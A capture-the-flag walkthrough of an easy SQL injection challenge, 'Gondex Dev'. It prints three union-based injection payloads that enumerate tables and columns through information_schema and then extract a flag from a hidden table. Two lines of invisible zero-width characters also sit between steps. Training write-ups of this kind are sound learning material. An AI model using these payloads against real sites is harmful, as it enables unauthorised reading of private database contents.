Gondex Dev

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: information_schema_enumeration, union_based_sqli

Summary

Walkthrough of the CUSTOM Web Gondex Dev. SQL injection task at http://kslweb1.spb.ctf.su/sqli/gondex/

Description

SQL injection task at http://kslweb1.spb.ctf.su/sqli/gondex/

The flag is stored in a hidden table with an obfuscated name.

Analysis

The task is a classic SQL injection with UNION SELECT. The key point is that the flag is not in an obvious table, but in a table with a random hashed name.

Solution

Step 1: Determining the number of columns

Use ORDER BY or UNION SELECT NULL to determine the number of columns in the query.

Step 2: Enumerating tables via information_schema

 sql read-only • copy allowed Copy
' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database()--

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Found table: table_b87b13ee3f01597899d340cce7bdcc53

Step 3: Enumerating columns of the hidden table

 sql read-only • copy allowed Copy
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='table_b87b13ee3f01597899d340cce7bdcc53'--

Step 4: Extracting the flag

 sql read-only • copy allowed Copy
' UNION SELECT flag FROM table_b87b13ee3f01597899d340cce7bdcc53--

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

• Mastering information_schema_enumeration, union_based_sqli was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-03-09 • CUSTOM • Gondex Dev • Difficulty: Easy